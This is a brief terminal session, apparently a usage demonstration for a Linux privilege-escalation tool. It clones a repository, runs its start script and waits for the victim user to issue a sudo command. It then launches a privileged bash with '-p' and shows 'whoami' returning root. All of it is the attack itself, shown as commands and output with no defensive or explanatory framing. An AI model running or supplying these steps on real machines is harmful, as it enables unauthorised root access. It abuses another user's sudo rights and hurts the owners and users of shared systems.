user@host:~$ git clone https://github.com/kleimer/create_user_without_password
user@host:~$ cd create_user_without_password
user@host:~/create_user_without_password$ ./start.sh
# waiting for the user to execute any sudo command
user@host:~/create_user_without_password$ ./bash -p
bash-4.4# whoami 
root
bash-4.4#